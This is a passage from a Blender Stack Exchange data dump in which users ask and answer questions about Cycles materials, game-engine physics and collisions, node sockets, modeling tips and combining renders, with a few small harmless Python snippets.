href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line#Debug_Options:&quot; rel=&quot;noreferrer&quot;&gt;debug flag&lt;/a&gt;. Make a shortcut to the bat file, and all you have to do is click it to start Blender + console&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-01-06T11:58:37.147" LastActivityDate="2015-01-06T11:58:37.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21780" PostTypeId="1" AcceptedAnswerId="21785" CreationDate="2015-01-05T17:02:23.393" Score="2" ViewCount="403" Body="&lt;p&gt;My first idea was to get the &lt;strong&gt;surface type&lt;/strong&gt; of the material. If this is an &lt;strong&gt;emission shader&lt;/strong&gt; it should be a light source, but I can't find something in the python documentation to get the surface input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RsopP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-05T19:12:53.893" LastActivityDate="2015-01-05T19:12:53.893" Title="How to check if object is cycles light source?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21782" PostTypeId="1" AcceptedAnswerId="21783" CreationDate="2015-01-05T17:44:32.183" Score="11" ViewCount="5859" Body="&lt;p&gt;Is there a way to rename the sockets on a group node? This would be useful. Googling produces some unsettling results as it seems it is a feature being developed by a third party and maybe as an addon? &lt;/p&gt;&#xA;" OwnerUserId="3069" LastActivityDate="2017-11-22T12:12:20.433" Title="Rename Node Sockets" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21783" PostTypeId="2" ParentId="21782" CreationDate="2015-01-05T17:53:12.770" Score="12" Body="&lt;p&gt;Yes, you can do this by clicking the node and open up the &lt;strong&gt;properties panel&lt;/strong&gt; by hitting &lt;kbd&gt;N&lt;/kbd&gt; within the node editor. With this you can edit &lt;strong&gt;name, label, outputs and inputs&lt;/strong&gt; of the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNmss.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="2617" LastEditDate="2015-01-05T18:26:12.830" LastActivityDate="2015-01-05T18:26:12.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21785" PostTypeId="2" ParentId="21780" CreationDate="2015-01-05T18:36:14.143" Score="1" Body="&lt;p&gt;You can do this by getting the material and checking if there is a node called &lt;em&gt;Emission&lt;/em&gt; in the node tree, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;nodes = obj.data.materials[0].node_tree.nodes&#xA;if &quot;Emission&quot; in nodes:&#xA;    print(&quot;yes&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Likewise, you could also check for a &lt;em&gt;EMISSION&lt;/em&gt; node by using this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for node in nodes:&#xA;    if node.type == &quot;EMISSION&quot;:&#xA;        print(&quot;yes&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way if the user had changed the name it would still catch it.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2015-01-05T18:36:14.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21786" PostTypeId="2" ParentId="21773" CreationDate="2015-01-05T19:35:34.927" Score="2" Body="&lt;p&gt;Yes, it can. This is done by using the &lt;code&gt;Occlude&lt;/code&gt; physics type; this makes an object hide all other objects (or parts of objects) behind it. This does, however, mean that it can only be applied to &lt;em&gt;Static&lt;/em&gt; (physics type) objects, since an object can't have two physics types, and the Occlude type works like the Static type (i.e. it doesn't move).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;If the occluders are small and don't hide many objects.&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;In that case, occlusion culling is just dragging your CPU down).&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;If the occluders are large but hides simple objects.&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;In that case you're better off sending the objects to the GPU).&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Physics/Object/Occluder&quot; rel=&quot;nofollow&quot;&gt;read the wiki&lt;/a&gt; for more details &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Physics/Object/Occluder#Recommendations&quot; rel=&quot;nofollow&quot;&gt;about performance&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-05T19:35:34.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21787" PostTypeId="1" AcceptedAnswerId="21795" CreationDate="2015-01-05T20:29:11.070" Score="1" ViewCount="586" Body="&lt;p&gt;I wanted to make a nice game, but I am having a problem with water. I am trying to make a simple underwater shader and motion, but I have to make my water so the character can also walk through it. It also must have collision, so I can activate the properties. How can I make its physics work like that?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="11518" LastEditDate="2015-03-21T19:46:29.713" LastActivityDate="2015-03-21T19:46:29.713" Title="Through-walkable object with collision!" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21788" PostTypeId="2" ParentId="14579" CreationDate="2015-01-05T21:03:31.233" Score="7" Body="&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; will convert triangles to quads where possible. For good topology and efficient geometry, you can use grid fill but then you should change the Span value to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f6jnv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f6jnv.png&quot; alt=&quot;Click for Larger Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the image see it at full size.&#xA;Current as of Blender 2.72b&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="12" LastEditDate="2015-01-05T21:08:43.283" LastActivityDate="2015-01-05T21:08:43.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21789" PostTypeId="2" ParentId="21771" CreationDate="2015-01-05T21:41:10.733" Score="1" Body="&lt;p&gt;Problem solved!! I linked model and armature from 2.66a, applied proxy (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;) and rigged and animated again the mesh. All worked fine!!&lt;/p&gt;&#xA;" OwnerUserId="9802" LastEditorUserId="29" LastEditDate="2015-01-09T21:47:52.387" LastActivityDate="2015-01-09T21:47:52.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21790" PostTypeId="1" AcceptedAnswerId="21791" CreationDate="2015-01-05T21:42:06.720" Score="7" ViewCount="599" Body="&lt;p&gt;I'm trying to create an animation in which an object is lifted from the ground and several smaller objects slide from on top of it and drop to the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any possible way of doing this in Blender currently using physics? In other words, can I have rigid bodies slide down from animated objects? Any strategies/hacks are welcome!&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="599" LastEditDate="2015-01-05T21:49:26.867" LastActivityDate="2015-01-05T21:49:26.867" Title="Having rigid bodies sliding off an animated object" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21791" PostTypeId="2" ParentId="21790" CreationDate="2015-01-05T21:47:10.713" Score="7" Body="&lt;p&gt;Yes, this is quite possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply make your animated object a passive rigid body with &lt;em&gt;Animated&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7Fws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make the objects you want to slide around into &lt;em&gt;Active&lt;/em&gt; rigid bodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mj8R1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-05T21:47:10.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21792" PostTypeId="1" AcceptedAnswerId="21793" CreationDate="2015-01-05T22:51:28.647" Score="2" ViewCount="905" Body="&lt;p&gt;I cannot figure out how to make bullets (physical bullets, not rays) actually do damage to the enemy (in a first-person shooter).  I have tried the collision sensor but I cant seem to make it work.&lt;br&gt;&#xA;All I am trying to do is make it so when the bullet hits the enemy, then the enemy disappears (Edit Object: End Object Actuator).  The enemy has the physic type: &lt;code&gt;Character&lt;/code&gt; and the bullet has the physics type: &lt;code&gt;Static&lt;/code&gt;.  I am using simple motion for the bullet.&lt;br&gt;&#xA; What kind of properties does the bullet of enemy need if any? What should the logic bricks look like? &lt;/p&gt;&#xA;" OwnerUserId="9777" LastEditorUserId="2217" LastEditDate="2015-01-06T16:31:21.737" LastActivityDate="2015-08-12T16:50:47.143" Title="How do you make bullets do damagein the BGE?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21793" PostTypeId="2" ParentId="21792" CreationDate="2015-01-05T23:12:12.460" Score="2" Body="&lt;p&gt;Your problem might be that the character is not detecting the collision from a static object. If you make your bullet a rigid body object, with all of the translations locked (rotation and location along X,Y, and Z) as in this picture,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lv8ZP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bullet will have the same behavior as a static object (It will not fall due to gravity and it will not bounce off of other objects), but the rigid body type can detect collisions with a static object. Another thing you could try is changing the collision bounds on both your character and the bullet to something closer to it's actual shape. Normally, a box will work for the projectile, but for the character you will want something more precise such as a &lt;em&gt;Triangle Mesh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZXfG4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-01-05T23:12:12.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21794" PostTypeId="1" CreationDate="2015-01-05T23:56:55.923" Score="1" ViewCount="347" Body="&lt;p&gt;The Collision bounds are messed up on my character and I cant seem to fix it.  It is set to &lt;code&gt;Box&lt;/code&gt;.  I tried Triangle Mesh but blender crashes (I looked it up and this is a regular bug) and none of the other Collision Bounds work.  So basically I need it to be &lt;code&gt;Box&lt;/code&gt; and I need it to have Physics &lt;code&gt;Character&lt;/code&gt;.  I've centered the origin to the middle but it just messes it up and the character goes flying.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZJjm2.png&quot; alt=&quot;Collision Bounds&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="9777" LastEditorUserId="2217" LastEditDate="2015-01-06T16:34:31.130" LastActivityDate="2015-01-06T16:34:31.130" Title="Collision Bounds Problem" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-12T03:11:00.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="21795" PostTypeId="2" ParentId="21787" CreationDate="2015-01-06T00:26:47.213" Score="3" Body="&lt;p&gt;You can have the water detect collisions and not actually register any collisions by setting it to ghost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x6yA9l.png&quot; alt=&quot;Ghost box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that box is checked, anything that hits it detects the collision, but it physically treats it like a no-collision mesh. So, you can simply have a logic setup similar to this one on your character.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LSAKg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LSAKg.png&quot; alt=&quot;Logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="2217" LastEditDate="2015-01-06T17:05:21.337" LastActivityDate="2015-01-06T17:05:21.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21796" PostTypeId="2" ParentId="21769" CreationDate="2015-01-06T00:50:40.823" Score="31" Body="&lt;h1&gt;Room modeling tips&lt;/h1&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Transparent objects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's often handy to make some objects such as the walls transparent for the viewport. For render they're still fully visible of course:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EAGPg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EAGPg.png&quot; alt=&quot;transparent to viewport&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Furniture creation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's good to keep the pivots of the furniture in the bottom, so that you can snap them to different surfaces with Face Snapping. You can easily rotate them around their local axis with &lt;kbd&gt;R&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; (or &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; depending on the case):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R5gc1.gif&quot; alt=&quot;furniture pivot, face snapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Managing lots of objects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sometimes it's good to make some objects &lt;strong&gt;non-selectable&lt;/strong&gt;, like the walls. &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/layer_manager&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Layer Manager&lt;/strong&gt;&lt;/a&gt; is a great addon for managing objects if you have them on different layers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, parenting them to an empty is an easy way to make them non-selectable. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left click&lt;/kbd&gt; to affect all the children of a parent in Outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aro95.gif&quot; alt=&quot;outliner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Rendering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sometimes it's necessary to place the camera outside of the room and mark the front walls as &lt;strong&gt;invisible to camera&lt;/strong&gt;. Hiding them is not encouraged, because the light that comes outside the room makes it look dull. The light needs to bounce from the insides of your front wall:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jH4lq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jH4lq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://files.manujarvinen.com/room.blend&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;room.blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2015-02-10T21:35:59.657" LastActivityDate="2015-02-10T21:35:59.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21797" PostTypeId="1" AcceptedAnswerId="22966" CreationDate="2015-01-06T01:08:24.150" Score="0" ViewCount="597" Body="&lt;p&gt;I am trying to make a boat work in the game engine, and I have a &lt;em&gt;Boolean&lt;/em&gt; modifier on the water cutting a spot in the water plane for the boat. The problem is, that when the boat moves, and the mesh that cuts the spot moves with it, the spot cut out in the water plane remained where it was before. Is there any way to make the &lt;em&gt;Boolean&lt;/em&gt; modifier update live in the game engine via python? I have looked for a while and there is no possible way to do this with logic bricks alone. The end result would be the boat moves, and the collision mesh moves with it, and the collision mesh cuts the spot in the water for the boat as it moves along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/156/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=156&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-05T18:09:27.960" Title="Make modifiers update in the game engine" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;modifiers&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21800" PostTypeId="1" AcceptedAnswerId="21802" CreationDate="2015-01-06T03:44:37.727" Score="17" ViewCount="1791" Body="&lt;p&gt;How can I undo when I move the cursor, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt; doesn't work? I would prefer a keyboard shortcut, but any method will do, although I'd like to avoid scripts if possible.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="2217" LastEditDate="2015-01-08T01:22:39.460" LastActivityDate="2015-01-08T01:22:39.460" Title="Undo cursor move?" Tags="&lt;3d-view&gt;&lt;workflow&gt;&lt;shortcut&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21801" PostTypeId="1" CreationDate="2015-01-06T09:28:50.920" Score="0" ViewCount="535" Body="&lt;p&gt;I wanna apply the rotation of an object, each time a certian case is true. The problem is, this has to work while an animation renders. So bevore it render the frame x, it checks if the case is true and if it is, then it applys the rotation of the object. I use this in my Rubik's cube rig. The &lt;code&gt;apply_transfrom&lt;/code&gt; doesn't work in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the testing .blend:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/hz8nxx87b3wucx4/untitled.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/hz8nxx87b3wucx4/untitled.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the .blend, run the two script, and press &lt;kbd&gt;F12&lt;/kbd&gt;. The goal is that the rotation is applied on all cubes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I found the solution myself. I use this script here: &lt;a href=&quot;https://blender.stackexchange.com/questions/12166/apply-mesh-transformations-to-primitive-uv-sphere-add&quot;&gt;Apply mesh transformations to primitive_uv_sphere_add()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9715" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-01-10T17:12:00.737" Title="Render_pre handler should run operator with transfrom_apply" Tags="&lt;python&gt;&lt;rendering&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21802" PostTypeId="2" ParentId="21800" CreationDate="2015-01-06T10:05:35.810" Score="14" Body="&lt;p&gt;You can try &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Cursor_Control&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cursor Control&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MQ0RX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; To overwrite your actions you only need to go back in history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As everywhere in blender you can &lt;kbd&gt;Right Click&lt;/kbd&gt; on the &lt;strong&gt;arrow buttons&lt;/strong&gt; of the cursor history to assign shortcuts for navigate back and forth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9Zam.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-06T11:08:15.010" LastActivityDate="2015-01-06T11:08:15.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21803" PostTypeId="2" ParentId="21801" CreationDate="2015-01-06T11:06:30.397" Score="1" Body="&lt;p&gt;First see this and compare it with your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;# call this only once&#xA;# it adds vector attribute to all Object entities&#xA;bpy.types.Object.vector = bpy.props.FloatVectorProperty()&#xA;&#xA;# design your callback function like this&#xA;def test(scenes):&#xA;    # select the group&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    for obj in bpy.data.groups['Würfel'].objects:&#xA;        obj.select = True&#xA;&#xA;    # apply rotation&#xA;    bpy.ops.object.transform_apply(location=False, rotation=True, scale=False)&#xA;&#xA;    # store the locations&#xA;    for obj in bpy.data.groups['Würfel'].objects:&#xA;        loc = obj.location&#xA;        obj.vector = Vector((round(loc[0], 0), round(loc[1], 0), round(loc[2], 0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do a test call with &lt;code&gt;test(bpy.context.scene)&lt;/code&gt; it should execute without errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do &lt;code&gt;bpy.app.handlers.frame_change_pre.append(test)&lt;/code&gt; it will work fine on every frame change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the objects go into render pipeline the transformations are already 'set/converted' so there is really no data to transform in the pre_render handler.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-06T13:22:31.057" LastActivityDate="2015-01-06T13:22:31.057" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21804" PostTypeId="1" CreationDate="2015-01-06T12:17:42.627" Score="1" ViewCount="78" Body="&lt;p&gt;Look at this screenshot why this will happen i absolute beginner in blender and use this blueprints &lt;a href=&quot;http://www.cartype.com/pics/9793/full/chevrolet_camaro_2010.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; i want mirror other side of object not down   &lt;img src=&quot;https://i.stack.imgur.com/PGaqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9829" LastActivityDate="2015-01-06T13:34:56.910" Title="issue with mirrior modifier" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-06T13:35:45.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="21805" PostTypeId="2" ParentId="21804" CreationDate="2015-01-06T12:43:48.200" Score="0" Body="&lt;p&gt;It seems like you need to go into the object mode and apply the rotation. Go into the object mode, select your object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and then apply rotation.&lt;/p&gt;&#xA;" OwnerUserId="9715" LastEditorUserId="2217" LastEditDate="2015-01-06T13:34:56.910" LastActivityDate="2015-01-06T13:34:56.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21806" PostTypeId="1" AcceptedAnswerId="69917" CreationDate="2015-01-06T13:14:13.523" Score="7" ViewCount="1991" Body="&lt;p&gt;I am rendering my scene with only one sample but all the renders of the same picture have a different seed value.&lt;br&gt;&#xA;How can I combine them correctly?&lt;br&gt;&#xA;I wrote a java-program that loads all the images and takes the average pixel color for each pixel of the images. Is that a correct way of combining the images? It doesn't reduce the noise very much so I am not happy with it. What can I do?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="2217" LastEditDate="2015-01-06T15:29:52.033" LastActivityDate="2019-04-05T14:39:17.147" Title="How to combine low sample renders?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;image&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21807" PostTypeId="1" AcceptedAnswerId="21808" CreationDate="2015-01-06T13:25:24.537" Score="11" ViewCount="10628" Body="&lt;p&gt;Is there an official cycles material preview ball to compare the shader with 100% white? I could only find the following image &lt;a href=&quot;https://davidzerba.wordpress.com/2012/12/17/cycles-shaders/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Except of the inner material this looks like what I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78izN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image by David Zerba&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-06T14:05:55.167" LastActivityDate="2020-02-01T04:28:38.983" Title="Cycles advanced shader ball?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" CommunityOwnedDate="2015-01-29T09:27:09.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="21808" PostTypeId="2" ParentId="21807" CreationDate="2015-01-06T13:47:02.643" Score="10" Body="&lt;p&gt;The Blender Material Preview Scene (BMPS) was included in the 2.61 demo files, which you can download here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://archive.blender.org/development/release-logs/blender-261/blender-261-demo-files/index.html&quot; rel=&quot;noreferrer&quot;&gt;Blender 2.61 demo files: Cycles &amp;amp; Dynamic Paint&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just open the bmps.blend file to find the material shader ball scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GhyxO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-01-06T13:47:02.643" CommentCount="1" CommunityOwnedDate="2015-01-29T09:27:09.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="21809" PostTypeId="2" ParentId="21806" CreationDate="2015-01-06T13:54:44.007" Score="6" Body="&lt;p&gt;The process that I've seen is combining each image in Blender via a Mix node, and using a mix percentage based on [INCORRECT]---- how many images are being combined (in the example he uses 20% since there are 5 images) ----[/INCORRECT]. See the attached screen shot from Kent Trammell's &lt;a href=&quot;https://cgcookie.com/blender/2014/07/31/rendering-single-frame-faster-multiple-computers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; on CG Cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Actually, Ben Simmonds corrected Kent's math on this tutorial. Here's a quote from Ben on the page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HI Kent. I think your math was incorrect for those mix nodes. If you&#xA;  think about how each image contributes to the final comp, the first&#xA;  image node in that chain is contributing 4x more than the 2nd to the&#xA;  final image (0.8 vs 0.2). The correct values for the mix nodes in such&#xA;  a chain would be as follows:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1st and 2nd: 50% (1st plus 2nd) and 3rd: 33% (1st, 2nd and 3rd) and&#xA;  4th: 25% (1st through 4th) and 5th: 20%&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you were mixing the images all at once then the 20% per image value&#xA;  would be correct, but the math is slightly different for mixing them&#xA;  pairwise.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Alternatively, the simpler option would be to ADD all of the images&#xA;  together, and then divide the pixel values of the resulting image by&#xA;  5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/erBqv.jpg&quot; alt=&quot;Multiseed Rendered Image Combination&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-01-06T14:17:23.280" LastActivityDate="2015-01-06T14:17:23.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
